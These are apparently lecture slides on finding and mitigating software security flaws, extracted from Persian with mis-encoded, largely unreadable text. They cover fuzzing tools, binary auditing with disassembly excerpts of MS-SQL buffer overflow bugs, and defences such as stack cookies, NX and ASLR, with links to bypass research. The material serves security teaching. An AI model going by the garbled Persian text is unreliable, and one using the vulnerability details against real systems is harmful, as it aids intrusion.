                                                                     ‫تکٌیک ُای هرتلف ‪: Fuzzing‬‬            ‫‪‬‬
                                                                     ‫‪Session Data Fuzzers‬‬             ‫‪‬‬
‫تطضؼی اعالػات ّ پاضاهتطُای ضز ّ تسل ـسٍ زض یک ‪ session‬هؼتثط ّؼؼی زض زؼتکاضی پاضاهتطُا ّ‬           ‫‪‬‬
                                                                               ‫اضؼال آًِا‬
                                                     ‫پیازٍ ؼاظی ایي ضّؾ تؽیاض ؼازٍ هیثاـس‬         ‫‪‬‬

                                                                        ‫‪Specialized Fuzzers‬‬           ‫‪‬‬
                   ‫تطضؼی کلیَ پاضاهتطُا ّ ذْاق یک پطّتکل/ اؼتاًساضز ذاق زض لالة ‪Fuzzing‬‬           ‫‪‬‬
                                            ‫ًیاظهٌس تْلیس اتعاض/اؼکطیپت ذاق تطای ُط پطّتکل‬        ‫‪‬‬
‫کاضآهسی ‪ّ Fuzzer‬اتؽتَ تَ کیفیت پیازٍ ؼاظی پطّتکل ّ تؼطیف پاضاهتطُای آى تطای ‪ Fuzzing‬هیثاـس‬        ‫‪‬‬
             ‫تْلیس ایي زؼتَ اظ ‪ُ Fuzzer‬ا ًیاظهٌس اـطاف کاهل ّ زلیك تَ پطّتکل تحت تطضؼی زاضز‬       ‫‪‬‬
                               ‫اؼتفازٍ اظ ایي لثیل ‪ُ Fuzzer‬ا ًیاظ تَ زاًؿ فٌی تاالی کاضتط ًساضز‬   ‫‪‬‬
                  ‫‪ُ Fuzzer‬ای اذتمالی تطای … , ‪SIP , SSL , SMTP , SNMP , RPC‬‬                       ‫‪‬‬
                                                                             ‫‪Generic Fuzzers‬‬          ‫‪‬‬
                                                          ‫لاتلیت ‪ Fuzzing‬پطّتکل ُای هتؼسز‬         ‫‪‬‬
                  ‫کاضتط هیثایؽت السام تَ تؼطیف پطّتکل هْضز ًظط ذْز تحت اهکاًات ‪ Fuzzer‬تٌوایس‬      ‫‪‬‬
                ‫توام پاضاهتطُایی کَ هی تایؽت تطضؼی ـًْس ، تْؼظ کاضتط تَ ‪ Fuzzer‬هؼطفی هیفًْس‬       ‫‪‬‬
                                  ‫اؼتفازٍ اظ ایي زؼتَ ‪ُ Fuzzer‬ا تطای کاضتطاى ػازی هفکل اؼت‬        ‫‪‬‬
 ‫کیفیت تؽت یک پطّتکل ذاق تْؼظ ایي زؼتَ ، زض همایؽَ تا ‪ُ Specialized Fuzzer‬ا کوتط اؼت .‬            ‫‪‬‬




                                                                                                          ‫42‬
                                ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬
‫ًویتْاى اًتظاض زاـت کَ ُویفَ خایگعیٌی همساض یک پاضاهتط زض پطّتکل تا زازٍ ایی تعضگتط ،‬              ‫‪‬‬
                                                                     ‫اظ زیس ًطم افعاض هؼتثط تاـس‬
       ‫زض تؽیاضی اظ پطّتکل ُا )ذمْلآ پطّتکل ُای تایٌطی( تسلیل هاُیت زازٍ ُا ، ًیاظ تَ‬              ‫‪‬‬
                                               ‫تفکیک فیلس ُای هرتلف زازٍ ُا اظ یکسیگط هیثاـس.‬
                   ‫حسالل اعالػات هطتْط تَ ُط فیلس هیتْاًس ـاهل ؼایع فیلس ّ زازٍ آى فیلس تاـس‬       ‫‪‬‬
  ‫زض لْضتی کَ تسّى زض ًظط گطفتي ایي هْضز السام تَ زؼتکاضی هحتْای یک پطّتکل گطزز،‬                   ‫‪‬‬
      ‫پاضاهتطُای ‪ Fuzz‬ـسٍ یک فیلس ، اعالػات فیلس ُای تؼس اظ ذْز ضا ترطیة هیکٌس = غیط‬
                                                       ‫هؼتثط ـسى آى زضذْاؼت اظ زیس ًطم افعاض‬
 ‫هفِْم ‪ Block Based Fuzzing‬تط ُویي الل اؼتْاض اؼت . هحاؼثَ پْیای ؼایع ُط فیلس‬                      ‫‪‬‬
    ‫، کل تؽتَ زضذْاؼت ّ چیسى ُوَ پاضاهتط ُای هؼتثط ّ تحت تطضؼی زض کٌاض یکسیگط ، زض‬
                                                       ‫ظهاى تْلیس یک زضذْاؼت تطای ًطم افعاض‬
        ‫هثال ؼازٍ : زض تطضؼی پطّتکل ‪ ّ HTTP‬اضؼال یک زضذْاؼت ‪ً POST‬ویتْاى تٌِا‬                      ‫‪‬‬
 ‫پاضاهتطُا ضا زؼتکاضی ّ اضؼال ًوْز ، تلکَ زض ُط زضذْاؼت هیثایؽت همساض لحیح پاضاهتط‬
                                   ‫‪ content-lenght‬هحاؼثَ ـسٍ ّ زض زضذْاؼت زضج گطزز.‬
   ‫‪ ، SPIKE‬یک ًوًَْ ‪ General Fuzzer‬کَ تط هثٌای ‪ Block-Based Fuzzing‬کاض‬                             ‫‪‬‬
                                                                                           ‫هیکٌس‬


                                                                                                   ‫52‬
                         ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬

                                     ‫اُساف ‪ُ Fuzzer‬ا ّ کاضتطز آًِا‬          ‫‪‬‬
‫‪ ‬تطضؼی پطّتکل ُای اضتثاعی ـثکَ ) ‪Routing protocols, IP stack‬‬
                                                                ‫…,(‬
                                       ‫‪ ‬تطضؼی پطّتکل ُای تحت ـثکَ‬
                           ‫)…,‪(ssh,ftp,smtp,ssh,http,snmp‬‬
          ‫‪ ‬تطضؼی تْاتغ , آضگْهاى ُا ّ پاضاهتطُای یک ًطم افعاض ذاق‬
  ‫‪ ‬تطضؼی هفکالت هطتْط تَ ذْاًسى )‪ ( parse‬اعالػات اظ فایل ّضّزی‬
   ‫‪ ‬تطضؼی تؽتَ ُای ًطم افعاضی ذاق )-‪browser,mail-client,ftp‬‬
                                                             ‫‪(clients‬‬
         ‫‪ ‬تطضؼی لاتلیت ُا ّ پاضاهتطُای ذاق ، زض یک پطّتکل ذاق‬
  ‫‪ُ { . . . ‬ط ًْع پاضاهتط ، زازٍ ّ یا لاتلیتی کَ تَ ًحْی زض ضًّس کاض ًطم‬
                                                    ‫افعاض زذیل اؼت ! {‬


                                                                            ‫62‬
                   ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬

                                            ‫‪Fuzzing Frameworks‬‬               ‫‪‬‬
      ‫لاتلیت ػول تمْضت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬             ‫‪‬‬
                       ‫غالثآ تْؼظ ظتاى ُای اؼکطیپت ًْیؽی تْلیس هیفًْس‬   ‫‪‬‬
             ‫‪ُ API‬ای هرتلفی ضا تطای ‪ Fuzzing‬زض اذتیاض لطاض هیسٌُس‬       ‫‪‬‬
                       ‫اظ پطّتکل ُای )تحت ـثکَ( ظیازی پفتیثاًی هیکٌٌس‬   ‫‪‬‬
              ‫لاتلیت گؽتطؾ ّ افعّزى پطّتکل ُای خسیس تَ ‪framework‬‬        ‫‪‬‬
                ‫‪ُ Fuzzer‬ا ًؽثت تَ گصـتَ تحْالت تؽیاضی زاـتَ اًس‬              ‫‪‬‬
                                    ‫هاًیتْض کطزى ًطم افعاض تحت تطضؼی‬    ‫‪‬‬
 ‫کٌتطل کطزى ضّال اخطای ًطم افعاض تْؼظ ‪ُ debugger‬وعهاى تا ‪Fuzzing‬‬        ‫‪‬‬
‫فطاُن آّضزى هدسز ـطایظ تمْضت ذْزکاض ، زض لْضت تطّظ اذتالل زض عْل‬        ‫‪‬‬
                             ‫‪ ) Fuzzing‬هاًٌس ‪ crash‬کطزى ًطم افعاض(‬
      ‫هاًیتْض کطزى ّ شذیطٍ فؼالیت ُای اًدام ـسٍ زض ظهاى ‪... ّ Fuzzing‬‬   ‫‪‬‬
                                  ‫‖‪― Sulley Fuzzing Framework‬‬           ‫‪‬‬
             ‫‪http://www.fuzzing.org/wp -content/Amini -Portnoy -BHUS07.zip‬‬



                                                                             ‫72‬
                           Fuzzing -‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض‬

                                                ‫ ُای هْخْز‬Fuzzer ‫تطذی اظ‬            
              ... ّ SNMP ,SIP ‫: تطضؼی هْثط پطّتکل ُایی ُوچْى‬PROTOS              
 ‫ تطای تیؿ اظ 08 پطّتکل‬Fuzzer ٍ‫ : ـطکتی تداضی ، اضازٍ زٌُس‬CodeNomicon           
                              PROTOS ‫هرتلف ، ّاتؽتَ تَ تین تحمیماتی تٌیاًگصاض‬
 َ‫ تطای پطّتکل ُای تحت ـثک‬General Fuzzing Framework : SMUDGE                    
‫ تطای پطّتکل ُای تحت‬General ‫ ُای‬Fuzzer ‫ : یکی اظ ـٌاذتَ ـسٍ تطیي‬SPIKE           
                                                                         َ‫ـثک‬
   ‫ تا پفتیثاًی اظ پطّتکل ُای هتؼسز‬Python ‫ هثتٌی تط‬framework ‫ : یک‬Peach         
                         ‫ ُا‬Browser ‫ تطای تطضؼی‬fuzzer ‫ : یک‬MangleMe             
                                  File-format ‫ : یک فاظض تطای تطضؼی‬Mangle       
                                           IRC Client Fuzzer : IRCfuzz          
                                         COM Object fuzzer : COMBust            
                           ٍ‫ ُای ـٌاذتَ ـس‬Fuzzer ‫لیؽتی اظ تطذی زیگط اظ‬              
                             http://www.fuzzing.org/fuzzing-software            



                                                                                    28
‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬




     ‫‪DEMO‬‬




                                      ‫92‬
               ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Binary Analyze‬‬
  ‫زض لْضت زض زؼتطغ ًثْزى کس ًطم افعاض ، ایي ضّؾ تؽیاض کاضآهس ، ّ زضػیي حال هفکل‬          ‫‪‬‬
                                                                                ‫هیثاـس‬
   ‫تؽیاضی اظ هفکالت اهٌیتی کَ زض ًطم افعاضُای کس تاظ ضفغ ـسٍ اًس ٌُْظ زض ًطم افعاضُای‬    ‫‪‬‬
                                              ‫اًحماضی)‪ ( closed-source‬زیسٍ هیفًْس‬
                                    ‫ایي ضّؾ ٌُْظ یک تکٌیک ًْپا ّ ًالك تفواض هی آیس‬       ‫‪‬‬
  ‫ُواًٌس تطضؼی کس ، زض ایي ضّؾ ًیع ضًّس ّ هٌغك ًطم افعاض تطضؼی هیگطزز ، اها تَ ضّؾ‬       ‫‪‬‬
                                                                       ‫هٌِسؼی هؼکْغ!‬
                                         ‫ًیاظهٌس زضک ّ تدطتَ تاال زض تطضؼی ظتاى هاـیي‬    ‫‪‬‬
‫اگطچَ تکٌیک ‪ Fuzzing‬زض تطضؼی ًطم افعاضُای ‪ closed-source‬تؽیاض هفیس هیثاـس اها‬            ‫‪‬‬
 ‫تطضؼی توام لاتلیت ُا ّ تْاتغ ًطم افعاض تْؼظ ‪ Fuzzing‬تؽیاض هفکل ّ گاُآ ًا هوکي اؼت‬
                                                           ‫)‪( Low Code Coverage‬‬
              ‫‪ Binary Audit‬هحسّزٍ تیفتطی )زض ّالغ کل( اظ ًطم افعاض ضا پْـؿ هی زُس.‬       ‫‪‬‬
     ‫ُواًٌس تطضؼی کس ، تْاتغ آؼیة پصیط زض فایل تایٌطی ًیع زاضای هفرمَ ذاق ذْز ُؽتٌس‬      ‫‪‬‬




                                                                                         ‫03‬
                    ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Binary Analyze‬‬
                                          ‫ضّؾ ُا ّ زیسگاٍ ُای هرتلف اًدام ‪Static Binary Analyze‬‬                   ‫‪‬‬
‫‪ ‬خؽتدْی ‪ُ Pattern‬ای هطتْط تَ فطاذْاًی تْاتغ آؼیة پصیط هاًٌس ‪ ّ strcpy,strcat,sprintf‬ؼایط هْاضز‬
                                                                                         ‫هفاتَ‬
‫زض لْضتی کَ کیفیت کس ًطم افعاض پاییي تاـس ّ یا ُسف یک تطضؼی ؼطیغ ّ ؼغحی تاـس اظ ایي ضّؾ اؼتفازٍ هیفْز‬         ‫‪‬‬

                                               ‫‪ ‬آًالیع ّ تطضؼی حلمَ ُا )‪ ّ ( loop‬تْاتغ ‪ read/write‬هفکْک‬
                                                 ‫:‪A variable indexed write into a character array‬‬
                                                 ‫:‪A variable indexed write to a local stack buffer‬‬
                                   ‫:‪A write to a pointer, followed by an increment of that pointer‬‬
                                      ‫:‪A sign extended copy from an attacker-controlled buffer‬‬
 ‫‪ ‬تطضؼی هٌغك ًطم افعاض . تطذی اظ ضؼف ُای اهٌیتی ُیچ اضتثاعی تا هفکالت ‪Memory corruption‬‬
                           ‫ًساـتَ ّ ًاـی اظ هٌغك اـتثاٍ ًطم افعاض زض تطذْضز تا زازٍ ُا ُؽتٌس.‬
                                                              ‫هثال : هفکل اهٌیتی ‪IIS Double Decode‬‬            ‫‪‬‬
                                         ‫کفف ایي زؼتَ اظ هفکالت تْؼظ ‪ Binary Audit‬تؽیاض هفکل هیثاـس‬           ‫‪‬‬

                                 ‫‪ ‬تطضؼی تفاّت ُای تیي ًؽرَ ُای هرتلف یک تطًاهَ آؼیة پصیط )‪( Diffing‬‬
                                ‫هوکي اؼت خعئیات هفکل اهٌیتی زلیمآ هٌتفط ًفْز ، اها آگاُی اظ آًِا الظم تاـس‬    ‫‪‬‬
           ‫هوکي اؼت تْلیس کٌٌسٍ ًطم افعاض تسّى اػالم ػوْهی ، السام تَ ضفغ یک هفکل اهٌیتی زض ًطم افعاض کٌس‬     ‫‪‬‬
               ‫اؼتفازٍ اظ اتعاضُایی کَ تفاّت ُای هیاى زّ ًؽرَ هتفاّت اظ یک فایل ضا ًوایاى هیکٌٌس )‪( BinDiff‬‬   ‫‪‬‬
 ‫-‪http://www.breakingpointsystems.com/community/blog/exploiting -iis-via-htmlencode‬‬                           ‫‪‬‬
                                                   ‫‪http://www.zynamics.com/files/ms08001.swf‬‬                  ‫‪‬‬

                ‫‪ ‬زض ُوَ ایي هْاضز ، اؼتفازٍ اظ اتعاضُای پیفطفتَ تطای کوک تَ تطضؼی ، اختٌاب ًاپصیط اؼت‬
                  ‫تطضؼی گطاف ُای ضؼن ـسٍ تط اؼاغ ترؿ ُای هرتلف ًطم افعاض ، کاض ضا تؽیاض آؼاى تط هیکٌس‬         ‫‪‬‬
                                   ‫لاتلیت ُای ضؼن گطاف زض ًطم افعاض ‪ً ّ IDA Pro‬طم افعاض خاًثی ‪BinNavy‬‬         ‫‪‬‬

                                                                                                                  ‫13‬
‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Binary Analyze‬‬




                                             ‫23‬
                 Binary Analyze -‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض‬

         ‫ ، ًاـی اظ اؼتفازٍ اـتثاٍ اظ‬MS-SQL ‫هثال : هفکل ؼطضیع تافط زض‬                            
                                                            sprintf()
mov edx, [ebp+var_24C8]                ;‫متغیر با ضایس 4201 بایت کو از پکت ارضالی خٌانذه میشٌد‬
push edx
push offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQL
Server”...
push offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion”
lea eax, [ebp+var_84]                  ; ! ‫بافر پشتو با ضایس 821 بایت‬
push eax
call ds:sprintf
add esp, 10h

  strcpy() ‫ ، ًاـی اظ اؼتفازٍ اـتثاٍ اظ‬MS-SQL ‫هفکل اهٌیتی زیگطی زض‬                               
mov eax, [ebp+arg_4]
add eax, [ebp+var_218]
push eax
lea ecx, [ebp+var_214]                         ; ‫بافر پشتو با حجم 215 بایت کو محتٌای آن از پکت‬
                                                        ‫دریافت شذه ً بذًن کنترل ضایس کپی میشٌد‬
push ecx
call strcpy
add esp, 8
                                                                                                 33
                                                ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض‬
        ‫ؼَ ضّؾ کلی یاز ـسٍ ُط یک تَ تٌِایی هیتْاًٌس ًتیدَ ُای ذْتی ضا زض حالل ـًْس‬             ‫‪‬‬
                           ‫تطکیة ضّؾ ُای فْق ، تاظزُی آًالیع ضا تؽیاض افعایؿ هیسُس‬             ‫‪‬‬
                          ‫یک زیسگاٍ زض ایي هْضز ، تطکیة ‪ Fuzzing‬تا آًالیع کس هیثاـس‬            ‫‪‬‬
  ‫ُوعهاى تا ‪ ، Fuzzing‬ؼْضغ کس ًیع تطضؼی هیگطزز تا هیعاى ‪ cove-coverage‬زض ظهاى‬            ‫‪‬‬
                                                           ‫‪ Fuzzing‬هفرك گطزز .‬
‫تا ایي ضّؾ هیتْاى هفرك کطز کَ کسام یک اظ ترؿ ُای ًطم افعاض یا کس تْؼظ ‪ Fuzzer‬پْـؿ‬        ‫‪‬‬
                                            ‫زازٍ ـسٍ ، ّ کسام ترؿ ُا ػوآل تطضؼی ًفسٍ‬
                                 ‫‪http://en.wikipedia.org/wiki/Code_coverage‬‬              ‫‪‬‬
        ‫زیسگاٍ زیگط ، تطکیة ‪ Fuzzing‬تا آًالیع ‪ Binary‬زض ظهاى اخطای ًطم افعاض هیثاـس.‬           ‫‪‬‬
                   ‫اؼتفازٍ اظ ‪ُ Debugger/Disassembler‬ا تطای ضاٌُوایی ‪ُ Fuzzer‬ا‬           ‫‪‬‬
                                             ‫افعایؿ ‪ Code Coverage‬زض ‪Fuzzing‬‬             ‫‪‬‬
 ‫همالَ خالة ‖‪http://uninformed.org/?v=all&a=27&t=pdf ― Effective Bug Discovery‬‬           ‫‪‬‬
           ‫‪ ― Evolutionary Fuzzing System‖ ‬یک ‪ framework‬تا زیسی خسیس ًؽثت تَ ‪Fuzzing‬‬
          ‫‪ ‬فطاگطفتي پطّتکل ُای خسیس تمْضت پْیا ّ کوک گطفتي اظ آًالیع ًطم افعاض زض ظهاى اخطا‬
                                         ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬




                                                                                               ‫43‬
                                                      ‫هماتلَ تا حوالت ؼطضیع تافط‬
 ‫اّلیي ّ تِتطیي ضّؾ هماتلَ تا ایي زؼتَ اظ هفکالت اهٌیتی ، ضػایت ًکات اهٌیتی زض ظهاى‬        ‫‪‬‬
                                                                 ‫تْلیس ًطم افعاض هیثاـس‬
                                       ‫اؼتفازٍ اظ هتسلْژی ‪ SDLC‬زض تْلیس ًطم افعاض‬          ‫‪‬‬
 ‫هماتلَ تَ ضّؾ پیفگیطی ، تٌِا زض لْضتی هوکي اؼت کَ ؼْضغ کس ًطم افعاض زض زؼتطغ‬              ‫‪‬‬
                                                                                ‫تاـس ،‬
                                                        ‫اها هفکالتی ًیع ّخْز زاضز !‬        ‫‪‬‬
                                                                 ‫ًطم افعاضُای لسیوی‬    ‫‪‬‬
                                                         ‫ػسم زؼتطؼی تَ ‪Developer‬‬       ‫‪‬‬
                                               ‫ػسم آگاُی ‪ Developer‬اظ ًکات اهٌیتی‬      ‫‪‬‬
                                                               ‫اـتثاُات تطًاهَ ًْیؽی‬   ‫‪‬‬
                                                   ‫ًطم افعاض ُای ‪! Closed-Source‬‬       ‫‪‬‬
‫ضاُکاضُایی تطای هماتلَ تا ایي لثیل هفکالت ّخْز زاضًس ، اها ُیچ یک هفکل ضا تغْض کاهل‬        ‫‪‬‬
                ‫حل ًکطزٍ ّ تٌِا ـطایظ تطای اؼتفازٍ اظ هفکل اهٌیتی ضا هفکل تط هی کٌٌس .‬
    ‫تؽتَ تَ ـطایظ ّ اذتیاضات ّ اهکاًات زض زؼتطغ ، اظ یک یا چٌس ضاُکاض اؼتفازٍ هیفْز.‬       ‫‪‬‬




                                                                                           ‫53‬
                                             ‫هماتلَ تا حوالت ؼطضیع تافط‬

‫زیسگاٍ ُای هرتلفی تطای هماتلَ تا حوالت ؼطضیع تافط ّخْز زاضز ّ‬              ‫‪‬‬
                        ‫تط ُویي اؼاغ ضّؾ ُای هرتلف ًیع:‬
         ‫‪ ‬تفریك هفکالت اهٌیتی زض ذالل ضًّس تْلیس ، ّ گْـعز کطزى آًِا‬
 ‫‪ ‬ؼؼی زض پیفگیطی اظ تطّظ هفکالت ؼطضیع تافط ّ اضافَ کطزى توِیساتی‬
                                        ‫تَ تطًاهَ ، زض ظهاى کاهپایل کطزى‬
‫‪ ‬پیازٍ ؼاظی توِیسات اهٌیتی زض ؼغح ؼیؽتن ػاهل تطای تفریك ّ یا هماتلَ‬
                                                   ‫تا حوالت ؼطضیع تافط‬
      ‫‪ ‬اؼتفازٍ اظ تؽتَ ُای ًطم افعاضی الحالی تَ ؼیؽتن ػاهل ، تطای خثطاى‬
                                           ‫کوثْز ُای اهٌیتی ؼیؽتن ػاهل‬
     ‫‪ ‬اؼتفازٍ اظتؽتَ ُای ًطم افعاضی خاًثی ، تطای خثطاى ّ یا تکویل کوثْز‬
                                                 ‫ُای اهٌیتی ؼیؽتن ػاهل‬
   ‫‪ ‬تطکیة اهکاًات اهٌیتی ؼیؽتن ػاهل تا اهکاًات اضازٍ ـسٍ تْؼظ پطزاظًسٍ‬


                                                                           ‫63‬
                                                                              ‫هماتلَ تا حوالت ؼطضیع تافط‬
                                                                                                         ‫کاهپایلطُای اهي‬   ‫‪‬‬
                                                                                         ‫‪Visual Studio >2003 ‬‬
                                                         ‫هحافظت زض تطاتط حوالت ؼطضیع تافط زض ‪Stack‬‬                 ‫‪‬‬
‫اؼاغ ترؿ ظیازی اظ اهٌیت زض هماتل حوالت ‪ stack overflow‬زض ّیٌسّظ ؼطّض 1‪ً ّ XP SP2 ّ 2003 SP‬ؽرَ‬                      ‫‪‬‬
                                                                                             ‫ُای خسیس تط‬
       ‫اضافَ کطزى ترؿ ُایی تَ کس زض ظهاى کاهپایل )‪ ( Buffer Security Checks‬تطای کٌتطل لحت ‪return‬‬                   ‫‪‬‬
                                                              ‫‪ُ address‬ا ّ ؼایط ترؿ ُای هِن ‪Stack‬‬
                                                                        ‫آـٌایی تا هفِْم ‪Stack Cookies‬‬              ‫‪‬‬
                                 ‫اضافَ ـسٍ تَ ‪ Visual Studio‬اظ ًؽرَ 3002 ّ فؼال تمْضت پیففطن‬                       ‫‪‬‬
                                     ‫‪ /GS‬هفکالت اهٌیتی ضا حل ًویکٌس تلکَ اؼتفازٍ اظ آًِا ضا هفکل هیکٌس‬             ‫‪‬‬
                                                ‫تکٌیک ُایی تطای زّض ظزى ایي هکاًیعم اهٌیتی ّخْز زاضز‬               ‫‪‬‬
                                                       ‫تاظًْیؽی اـاضٍ گط ‪ SEH‬تطای اخطای کس زض حافظَ‬       ‫‪‬‬
                        ‫‪http://www.ngssoftware.com/papers/defeating -w2k3-stack-protection.pdf‬‬            ‫‪‬‬
                                  ‫اؼتفازٍ اظ ‪ /SafeSEH‬تطای هحافظت اظ اـاضٍ گط ‪ ّ SEH‬هماتلَ تا هفکل ‪/GS‬‬             ‫‪‬‬
   ‫کلیَ ترؿ ُای ًطم افعاض هیثایؽت تْؼظ ایي هکاًیعم کاهپایل ـسٍ تاـٌس. ّخْز تطًاهَ ُا / تْاتغ کتاتراًَ ای هحافظت‬    ‫‪‬‬
                                                                                  ‫ًفسٍ ، کل ؼیؽتن ضا تِسیس هیکٌس‬
                                       ‫‪ ‬هاژّل ُای اضافَ ـسٍ تَ ‪( StackGuard , ProPolice ,…) GCC‬‬
                                                                              ‫آؼتفازٍ اظ ایسٍ ‪Stack Canaries‬‬       ‫‪‬‬
                                                      ‫لاتل اؼتفازٍ زض 1.3> ‪ GCC‬تا ؼْیچ ‪-fstack-protector‬‬           ‫‪‬‬
                                                                        ‫فؼال تمْضت پیففطن زض 1.4> ‪GCC‬‬              ‫‪‬‬
                                                                ‫تکٌیک ُایی تطای زّض ظزى ایي هکاًیعم اهٌیتی :‬       ‫‪‬‬
                  ‫‪http://www.coresecurity.com/files/attachments/Richarte_Stackguard_ 2002.pdf‬‬             ‫‪‬‬




                                                                                                                           ‫73‬
                                                                                            ‫هماتلَ تا حوالت ؼطضیع تافط‬
                                                                                                         ‫اهکاًات اضائَ ـسٍ تْؼظ پطزاظًسٍ‬         ‫‪‬‬
                                                                                                             ‫‪( No eXecute) NX Bit‬‬           ‫‪‬‬
                                                                     ‫تمؽین ًْاحی هرتلف حافظَ تطای شذیطٍ زازٍ ُا ّ یا زؼتْضات پطزاظًسٍ‬   ‫‪‬‬

‫پیسا ؼاظی ـسٍ زض پطزاظًسٍ ُای ‪ Intel‬اظ ًؽل 4 ‪ . SPARC ّ AMD ، Pentium‬پطزاظًسٍ ُای 46 تیتی پیؿ اظ اًْاع 23 تیتی تَ ایي‬                   ‫‪‬‬
                                                                                                                     ‫لاتلیت هدِع ـسًس‬
     ‫پطزاظًسٍ هدِع تَ ‪ NX/DX‬تَ تٌِایی لازض تَ خلْگیطی اظ حوالت ًیؽت تلکَ ایي لاتلیت هیثایؽت تْؼظ ؼیؽتن ػاهل تَ کاض گطفتَ ـْز‬            ‫‪‬‬
                                ‫تمطیثآ تواهی ؼیؽتن ُای ػاهل کًٌْی ) ًؽد خاضی ّ خسیس ( ُط یک تَ ًحْی اظ ایي لاتلیت اؼتفازٍ هیکٌٌس .‬      ‫‪‬‬

 ‫‪ NX bit‬زض ّالغ اـاضٍ تَ آذطیي تیت هؼٌی زاض اظ ‪ Page table entry‬زض حافظَ زاضز . 0 تْزى ایي تیت تَ هؼٌی ‪ executable‬تْزى‬                  ‫‪‬‬
                                              ‫هحتْای ایي ترؿ )‪ 1 ّ ( page‬تْزى تَ هؼاًی ایي اؼت کَ ایي ترؿ تٌِا حاّی زازٍ ُا اؼت .‬
                        ‫زض ؼیؽتن ُای ‪ 32bit‬ایي تیت زض ّالغ ّخْز ًساضز ّ ایي ضاُکاض تمْضت ‪ Software Emulated‬اخطا هیگطزز‬                  ‫‪‬‬
                                                   ‫‪ NX‬اهکاى هماتلَ تا حوالت ‪ Heap Overflow ّ Stack Overflow‬ضا هیؽط هیکٌس‬                ‫‪‬‬

                                                                                         ‫توِیسات پیازٍ ؼاظی ـسٍ زض ؼغح ؼیؽتن ػاهل‬                ‫‪‬‬
   ‫تؽیاضی اظ لاتلیت ُای اهٌیتی پیازٍ ؼاظی ـسٍ زض ؼغح ؼیؽتن ػاهل هثتٌی تط ‪ NX‬هیثاـس ّ ُط ؼیؽتن ػاهل ًؽرَ ّ ضّـی‬                              ‫‪‬‬
                                                                     ‫هطتْط تَ ذْز ضا هؼواضی کطزٍ ّ تکاض هی تطز .‬
                          ‫زض لْضت ػسم ّخْز ‪ CPU‬هدِع تَ ‪ NX‬ایي لاتلیت تمْضت کاهآل هداظی پیازٍ ؼاظی هیگطزز‬                                    ‫‪‬‬
 ‫)‪ ( Address Space Layout Randomization‬یکی زیگط اظ تکٌیک ُای هْضز اؼتفازٍ تطای هماتلَ تا حوالت ؼطضیع‬                                        ‫‪‬‬
                                                                                                       ‫تافط هیثاـس‬
 ‫هفِْم ‪ ASLR‬زض ؼیؽتن ػاهل ُای هرتلف تا ًام ُای هرتلفی پیازٍ ؼاظی ـسٍ اها ّخٍْ هفتطک تؽیاضی هیاى آًِا ّخْز زاضز‬                              ‫‪‬‬
  ‫‪ ASLR‬تمْضت تمازفی السام تَ هْلؼیت زُی تَ ترؿ ُای هرتلف یک پطّؼَ زض حافظَ هیٌوایس کَ ػوْهآ ـاهل ‪Base‬‬                                       ‫‪‬‬
                ‫‪ ، Address‬هْلیت لطاض گطفتي تْاتغ کتاتراًَ ایی ، ‪ Head ّ Stack‬زض هحسّزٍ آزضغ آى پطّؼَ هیگطزز.‬




                                                                                                                                                ‫83‬
                                                          ‫هماتلَ تا حوالت ؼطضیع تافط‬
                                   ‫هکاًیعم ُای پیازٍ ؼاظی ـسٍ زض ؼیؽتن ػاهل ُای هرتلف:‬         ‫‪‬‬
                                 ‫‪ : FreeBSD‬پفتیثاًی اظ پطزاظًسٍ ُای ‪ NX‬اظ ًؽرَ 3.5‬         ‫‪‬‬
               ‫‪ : Linux‬پفتیثاًی اظ پطزاظًسٍ ُای ‪ 32/64bit‬زاضای ‪ NX‬اظ کطًل ًؽرَ 8.6.2‬       ‫‪‬‬
      ‫کطًل ‪ 32bit‬اضائَ ـسٍ تْؼظ تطذی ًگاضؾ ُا هاًٌس 6‪OpenSUSE Ubuntu , Fedora C‬‬        ‫‪‬‬
                       ‫تمْضت پیففطن تطای اؼتفازٍ اظ ‪ NX‬ؼرت افعاضی تٌظین ًفسٍ اًس‬
     ‫‪ : RedHat‬پفتیثاًی اظ ‪ NX‬تواهی ‪ُ CPU‬اتْؼظ ضاُکاض اذتمالی ‪. Exec Shield‬‬                 ‫‪‬‬
      ‫‪ Emulated-NX‬تٌِا تط ضّی پطزاظًسٍ ُای 23‪ IA‬پفتیثاًی هیگطزز. اضائَ ـسٍ زض ‪ّ FC‬‬
                                                                                ‫‪RHEL‬‬
‫‪ : PAX‬ایي تکٌْلْژی تطای پیازٍ ؼاظی ‪ NX‬زض ؼیؽتن ُای فالس اهکاى ؼرت افعاضی عطاحی ـسٍ‬         ‫‪‬‬
                                              ‫ّ کلیَ پطزاظًسٍ ُای 68‪ x‬ضا پفتیثاًی هیکٌس.‬
                         ‫کطًل لیٌْکػ ٌُْظ تغْض پیففطن ایي تکٌْلْژی ضا تکاض ًثطزٍ اؼت‬   ‫‪‬‬
  ‫پفتیثاًی اظ ‪, PowerPC , PA-RISC ,( and 64 bit 32) MIPS , IA-64 , AMD64 , Alpha‬‬       ‫‪‬‬
                                                                          ‫‪SPARC‬‬
     ‫اؼتفازٍ ـسٍ تغْض پیففطن زض ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬           ‫‪‬‬

    ‫‪ : Mac OSX‬پفتیثاًی اظ ‪ NX‬پطزاظًسٍ ُای ایٌتل اظ ًؽرَ 4.01 ّ کلیَ پطزاظًسٍ ُای تحت‬       ‫‪‬‬
                                                                             ‫پْـؿ ‪OSX‬‬




                                                                                               ‫93‬
                                                                                                            ‫هماتلَ تا حوالت ؼطضیع تافط‬
                                                                                     ‫هکاًیعم ُای پیازٍ ؼاظی ـسٍ زض ؼیؽتن ػاهل ُای هرتلف :‬                         ‫‪‬‬
